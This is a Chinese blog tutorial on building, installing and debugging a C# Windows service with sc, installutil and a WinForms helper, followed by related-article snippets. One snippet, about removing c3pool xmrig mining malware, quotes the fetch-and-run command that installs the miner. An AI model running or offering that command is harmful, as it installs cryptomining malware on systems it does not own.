c# 服务创建

服务

创建服务

编写服务

可以对server1.cs重新命名,点击你的server按F7进入代码编辑模式,编写脚本

双击你的server.cs右击空白位置,添加安装程序,此时会生成“serviceInstaller1”及“serviceProcessInstaller1”

后续可以点击ProjectInstaller.cs查看已经添加的程序

修改属性

右击serviceInstaller1属性修改servicename,用于等下启动服务的名称

右击serviceProcessInstaller1属性修改Account改为LocalSystem(服务属性系统级别)

至此服务已经编写完毕

启动服务

启动服务可以使用多种方式,这里介绍两种思路

创建bat文件启动

新建一个txt,等下修改为.bat,可以创建多个.bat用于安装服务,开启服务等

使用sc创建

//创建-配置-开启 

@echo.服务启动......  
@echo off  
@sc create 服务名 binPath= "C:\Users\Administrator\Desktop\win32srvdemo\win32srvdemo\Debug\win32srvdemo.exe"  
@net start 服务名  
@sc config 服务名 start= AUTO  
@echo off  
@echo.启动完毕!  
@pause

//关闭服务

@echo.服务关闭  
@echo off  
@net stop 服务名  
@echo off  
@echo.关闭结束!  
@pause

//删除服务

@echo.服务删除  
@echo off  
@sc delete 服务名 
@echo off  
@echo.删除结束!  
@pause

使用net framework提供的命令启动

//安装-启动-设置自动运行 - 暂停
%SystemRoot%\Microsoft.NET\Framework\v4.0.30319\installutil.exe "你的地址\MyTask.exe"
Net Start 服务名
sc config 服务名 start= auto
pause

//卸载服务
%SystemRoot%\Microsoft.NET\Framework\v4.0.30319\installutil.exe /u "你的地址\MyTask.exe"
pause

使用winform窗体,代码启动

点击解决方案,创建一个winform项目net framework

设置安装,卸载,启动和关闭按钮,设置单击事件

private void button1_Click(object sender, EventArgs e)
{
    //安装服务
    if (ServiceHelperOne.IsServiceExisted(serviceName))
        ServiceHelperOne.UninstallService(serviceFilePath);
    ServiceHelperOne.InstallService(serviceFilePath);
}
private void button_start_Click(object sender, EventArgs e)
{
    //运行服务
    if (ServiceHelperOne.IsServiceExisted(serviceName))
        ServiceHelperOne.ServiceStart(serviceName);
}

private void button_stop_Click(object sender, EventArgs e)
{
    //服务停止
    if (ServiceHelperOne.IsServiceExisted(serviceName))
        ServiceHelperOne.ServiceStop(serviceName);
}

private void button_unservice_Click(object sender, EventArgs e)
{
    //服务卸载
    if (ServiceHelperOne.IsServiceExisted(serviceName))
    {
        ServiceHelperOne.ServiceStop(serviceName);
        ServiceHelperOne.UninstallService(serviceFilePath);
    }
}

增加一个帮助类

   public class ServiceHelperOne
   {
       //判断服务是否存在
       public static bool IsServiceExisted(string serviceName)
       {
           ServiceController[] services = ServiceController.GetServices();
           foreach (ServiceController sc in services)
           {
               if (sc.ServiceName.ToLower() == serviceName.ToLower())
               {
                   return true;
               }
           }
           return false;
       }

       //安装服务
       public static void InstallService(string serviceFilePath)
       {
           try
           {
               using (AssemblyInstaller installer = new AssemblyInstaller())
               {
                   installer.UseNewContext = true;
                   installer.Path = serviceFilePath;
                   IDictionary savedState = new Hashtable();
                   installer.Install(savedState);
                   installer.Commit(savedState);
               }
           }
           catch (Exception ex)
           {
               var err = ex.Message;
           }
       }

       //卸载服务
       public static void UninstallService(string serviceFilePath)
       {
           using (AssemblyInstaller installer = new AssemblyInstaller())
           {
               installer.UseNewContext = true;
               installer.Path = serviceFilePath;
               installer.Uninstall(null);
           }
       }
       //启动服务
       public static void ServiceStart(string serviceName)
       {
           using (ServiceController control = new ServiceController(serviceName))
           {
               if (control.Status == ServiceControllerStatus.Stopped)
               {
                   control.Start();
               }
           }
       }

       //停止服务
       public static void ServiceStop(string serviceName)
       {
           using (ServiceController control = new ServiceController(serviceName))
           {
               if (control.Status == ServiceControllerStatus.Running)
               {
                   control.Stop();
               }
           }
       }
   }

添加winform项目对服务的引用,添加exe文件

右击winform项目添加新项目->应用程序清单文件

打开该文件,并将<requestedExecutionLevel level="asInvoker" uiAccess="false" />改为<requestedExecutionLevel  level="requireAdministrator" uiAccess="false" />

启动后,将会弹出如下所示的窗体(有的系统因UAC配置有可能不显示),需要用管理员权限打开

可以打开任务管理器,运行项目,安装运行可以查看服务的状态

调试服务

调试服务,需要将服务进程添加到需要调试的程序当中,可以设置在创建的服务项目里,在OnStop设置断点

点击调试-附加到进程

一般名称和执行exe名称一致,并不是设置的服务名

停止服务,查看断点,调试代码

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/819308.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

faker 伪造数据生成库

faker 伪造数据生成库 前言 javafaker&#xff0c;这是一个用于生成假数据的 Java 库&#xff0c;与 Python 的 faker 库类似。javafaker 库提供了很多方法&#xff0c;用于生成各种类型的随机数据&#xff0c; 基本用法 api介绍 <!--java faker用于生成随机数据-->&…

使用AI动作捕捉制作动画图像——Viggle AI教程

使用AI动作捕捉制作动画图像——Viggle AI教程 在数字媒体时代&#xff0c;动画制作已经成为一种流行的艺术形式。最近&#xff0c;我在网上发现了一个非常有趣的AI动画制作工具——Viggle AI。这个工具不仅简单易用&#xff0c;而且目前还是免费的。在这篇博客中&#xff0c;我…

护眼台灯哪个牌子最好,护眼台灯品牌排行榜分享

​护眼台灯哪个牌子最好&#xff1f;尽管一些家长可能对护眼台灯还不甚了解&#xff0c;下面我将介绍这类台灯的几个显著优势&#xff1a;它们专为减少眼睛疲劳和保护视力而设计&#xff0c;提供稳定且柔和的光线&#xff1b;具备灵活的亮度调节功能&#xff0c;适应不同的阅读…

springMVC理解

springMVC是一种思想&#xff0c;将软件划分为&#xff0c;模型Model&#xff0c;视图View&#xff0c;控制器Controller。 MVC的工作原理&#xff1a;用户通过前端视图页面&#xff0c;发送请求到服务器&#xff0c;在服务器中请求被Controller接收&#xff0c;Controller调用…

使用PL\SQL将Excel表格导入到oracle数据库中

因为要测试生产问题&#xff0c;需要把生产上oracle导出数据导入到测试环境oracle数据库中&#xff0c;尝试了N种方法&#xff0c;发现使用PL\SQL 的ODBC 方法比较好用 1、开始 首先使用plsqldev里面的&#xff0c;工具--》下面的odbc导入器 2、配置 点击之后&#xff0c;会…

OpenHarmony轻量系统开发【2】源码下载和开发环境

2.1源码下载 关于源码下载的&#xff0c;读者可以直接查看官网&#xff1a; https://gitee.com/openharmony/docs/tree/master/zh-cn/release-notes 本文这里做下总结&#xff1a; &#xff08;1&#xff09;注册码云gitee账号。 &#xff08;2&#xff09;注册码云SSH公钥…

weblogic oracle数据源配置

在weblogic console中配置jdbc oracle数据源 1. base_domain->Service->DataSources 在Summary of JDBC Data Sources中&#xff0c;点击New, 选择【Generic Data Source】通用数据源。 2. 设置数据源Name和JNDI name 注&#xff1a;设置的JNDI Name是Java AP中连接…

用于 SQLite 的异步 I/O 模块(二十四)

返回&#xff1a;SQLite—系列文章目录 上一篇&#xff1a;SQLite的PRAGMA 声明&#xff08;二十三&#xff09; 下一篇&#xff1a;SQLite、MySQL 和 PostgreSQL 数据库速度比较&#xff08;本文阐述时间很早比较&#xff0c;不具有最新参考性&#xff09;&#xff08;二…

C#医学实验室/检验信息管理系统(LIS系统)源码

目录 检验系统的总体目标 LIS主要包括以下功能&#xff1a; LIS是集&#xff1a;申请、采样、核收、计费、检验、审核、发布、质控、耗材控制等检验科工作为一体的信息管理系统。LIS系统不仅是自动接收检验数据&#xff0c;打印检验报告&#xff0c;系统保存检验信息的工具&a…

使用Hugo、Github Pages搭建自己的博客

文章目录 搭建博客框架及对比使用Hugo搭建博客使用Github Pages部署博客 搭建博客框架及对比 在众多的博客框架中&#xff0c;Hugo、Jekyll和Hexo因其出色的性能和易用性而备受推崇。 特点HugoJekyllHexo速度极高中等较高易用性高中等高&#xff08;熟悉JavaScript者&#xf…

书生·浦语大模型全链路开源体系-第5课

书生浦语大模型全链路开源体系-第5课 书生浦语大模型全链路开源体系-第5课相关资源LMDeploy基础配置LMDeploy运行环境下载internlm2-chat-1_8b模型使用Transformer来直接运行InternLM2-Chat-1.8B模型使用LMDeploy以命令行方式与InternLM2-Chat-1.8B模型对话设置KV Cache最大占用…

数据结构--栈,队列,串,广义表

3.栈 &#xff08;先进后出&#xff09; 栈是一种特殊的线性表&#xff0c;只能从一端插入或删除操作。 4.队列 4.1 4.1.1初始化 4.1.2判断队列是否为空 4.1.3判断队列是否为满 4.1.4入队 4.1.5出队 4.1.6打印队列 4.1.7销毁队列 5.串 5.1 串的定义 由零个或者任意多…

【安全】查杀linux上c3pool挖矿病毒xmrig

挖矿平台&#xff1a;猫池 病毒来源安装脚本 cat /root/c3pool/config.jsoncrontab -r cd /root/c3poolcurl -s -L http://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALLen_US.UTF-8 bash -s 44SLpuV4U7gB6RNZMCweHxWug7b1YUir4jLr3RBaVX33Qxj…

vue实现前端打印效果

如图效果所示&#xff08;以下演示代码&#xff09; <template><div><el-button v-print"printObj" type"primary" plain click"handle">{{ text }}</el-button><div style"display: none"><div id…

224 基于matlab的优化工具箱优化函数

基于matlab的优化工具箱优化函数&#xff0c; 此工具箱中提供的算法包括&#xff1a; 灰狼优化器&#xff08;GWO&#xff09;&#xff0c;蚂蚁狮子优化器&#xff08;ALO&#xff09;&#xff0c;多功能优化器&#xff08;MVO&#xff09;&#xff0c;蜻蜓算法&#xff08;DA&…

【模拟】Leetcode 替换所有的问号

题目讲解 1576. 替换所有的问号 算法讲解 这里有两个特殊情况&#xff1a;如果&#xff1f;在第一个位置&#xff0c;只需要判断后面的符号&#xff1b; 如果&#xff1f;在最后一个位置&#xff0c;只需要判断前面的符号 class Solution { public:string modifyString(stri…

七月审稿之提升模型效果的三大要素:prompt、数据质量、训练策略(含Reviewer2和PeerRead)​

前言 我带队的整个大模型项目团队超过40人了&#xff0c;分六个项目组&#xff0c;每个项目组都是全职带兼职&#xff0c;且都会每周确定任务/目标/计划&#xff0c;然后各项目组各自做任务拆解&#xff0c;有时同组内任务多时 则2-4人一组 方便并行和讨论&#xff0c;每周文档…

OpenKylin设置root密码

前言 新安装的OpenKylin系统应该root用户没有设置密码&#xff0c;但是可以使用sudo -i 临时获取root权限&#xff0c;不影响正常使用 当前是root用户 1、终端输入passwd命令 passwd2、按照提示输入新密码和确认密码 当前非root用户 1、终端输入sudo passwd root 命令 s…

【计算机毕业设】智慧食堂管理系统——后附源码

&#x1f389;**欢迎来到我的技术世界&#xff01;**&#x1f389; &#x1f4d8; 博主小档案&#xff1a; 一名来自世界500强的资深程序媛&#xff0c;毕业于国内知名985高校。 &#x1f527; 技术专长&#xff1a; 在深度学习任务中展现出卓越的能力&#xff0c;包括但不限于…

cookie与session及其区别

一、cookie 1. 为什么需要cookie&#xff1f; web程序使用HTTP协议进行传输&#xff0c;而HTTP协议是无状态的协议&#xff08;即对事务处理无记忆性&#xff0c;如果后续处理需要使用前面的信息&#xff0c;只能重传&#xff0c;导致每次连接传送的数据量增大&#xff09;。c…